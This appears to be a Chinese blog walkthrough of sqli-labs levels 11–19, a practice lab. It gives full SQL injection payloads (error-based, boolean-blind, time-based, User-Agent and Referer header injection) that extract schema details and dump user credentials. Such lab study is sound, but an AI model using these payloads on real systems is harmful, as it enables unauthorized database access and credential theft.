当前位置: 首页 > news >正文

sqli-labs靶场

less---11

1.求闭合字符

输入1'报错说明存在注入点

存在注入点

2.查库名

使用报错注入查库名

admin” and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)y)# //floor函数报错

3.查表名

admin' and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x23),1)#

4.查列名

admin' and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x23),1)#

5.查字段

admin' and updatexml(1,concat(0x23,(select group_concat(username,0x23,password) from users),0x23),1)#

less--12

求闭合字符

1"      //报错双引号闭合
1"#     //依然报错,说明闭合字符包含双引号
1")    //报错,闭合字符是")
1")#   //无报错

同 less--11

less---13

admin') and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)y)# 
//floor报错求库名
admin') and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#
//求表明共extractvalue可以接收两个参数,报错位置在第二个参数
admin') and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),0x23),1)#
//爆列名
admin') and updatexml(1,concat(0x23,(select group_concat(username,0x23,password) from users),0x23),1)#
//爆字段

less---14

这关没有报错可以通过图片选择盲注,闭合字符"

admin" and 1=1# 
//双引号闭合
admin" and length(database())=8#
//判断当前数据库长度
admin" and ascii(substr(database(),1,1))=115#
//判断数据库ascii值
admin" and (select count(table_name) from information_schema.tables where table_schema='security' )=4#
admin" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),1,1))=101#
admin" and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users' )=#
admin" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105#

less--15

发现and后加两个空格会报错

admin' and  ascii(substr(database(),1,1))=115#     //报错

单引号闭合,同上

less--16

这里回显也没有了,时间盲注

1.求闭合字符")

11111") or if(1=1,1,sleep(5))#或者
11111") or 1=1#
//求闭合字符

2.求数据库长度

8") or if(length(database())=8,sleep(5),1)#
//这里设置了暂停时间是5秒,但是不知道什么原因1没问题,执行到sleep会一直加载直到报504

最终通过试验发现当为and且前面正确时sleep(5)正常运行

3.求数据库名

8") or if(ascii(substr((select database()),1,1))=115,1,sleep(5))#
//求数据库名ASCII值
2") or if((select count(table_name) from information_schema.tables where table_schema='security')=4,1,sleep(5))#
//求表数
8") or if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))#
//求表明ASCII值
2") or if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,1,sleep(5))#
//求列数
8") or if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,sleep(5))#
//求列明ASCII值
2") or if(ascii(substr((select username from users limit 0,1),1,1))=67,sleep(5),1)#
//求字段

less--17   

看提示在密码框注入,报错注入同11

less---18  uagrent

这关代码,发现密码账号框输入没用。

    • 对输入长度进行了限制(最多保留前20个字符)。
    • 如果启用了 magic_quotes_gpc,去除了多余的转义字符。
    • 对非数字的输入进行了转义,以防止 SQL 注入攻击;如果是数字,则直接转换为整型。

没有对u-agrent进行过滤

使用报错注入,后面加,1,1)补全     和#注释 防报错

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

//原码

less--19

这里登录进去之后显示referer ,所以在referer处注入

http://www.lryc.cn/news/351132.html

相关文章:

  • 基于springboot的大创管理系统
  • 常用torch.nn
  • 力扣226.翻转二叉树101.对称二叉树
  • word如何按照原本页面审阅文档
  • 前端基础入门三大核心之HTML篇:探索WebAssembly —— 开启网页高性能应用新时代
  • NDIS小端口驱动(四)
  • 用户态网络缓冲区设计
  • Linux运维工程师基础面试题整理(三)
  • 基于单片机与传感器技术的汽车起动线路设计
  • C#如何通过反射获取外部dll的函数
  • 从零开始傅里叶变换
  • 解决1万条数据前端渲染不卡的问题
  • 如何编写一个API——Python代码示例及拓展
  • UMPNet: Universal Manipulation Policy Network for Articulated Objects
  • 高通 Android 12/13冻结屏幕
  • C++实现图的存储和遍历
  • AI--构建检索增强生成 (RAG) 应用程序
  • QT7_视频知识点笔记_4_文件操作,Socket通信:TCP/UDP
  • 智慧社区管理系统:打造便捷、安全、和谐的新型社区生态
  • CustomTkinter:便捷美化Tkinter的UI界面(附模板)
  • 使用MicroPython和pyboard开发板(15):使用LCD和触摸传感器
  • c++20 std::jthread 源码简单赏析与应用
  • 自动化测试里的数据驱动和关键字驱动思路的理解
  • 【30天精通Prometheus:一站式监控实战指南】第6天:mysqld_exporter从入门到实战:安装、配置详解与生产环境搭建指南,超详细
  • 浅析智能体开发(第二部分):智能体设计模式和软件架构
  • Unity学习笔记---Transform组件
  • springboot+jsp校园理发店美容美发店信息管理系统0h29g
  • css - sass or scss ?
  • html5 笔记01
  • E5063A是德科技e5063a网络分析仪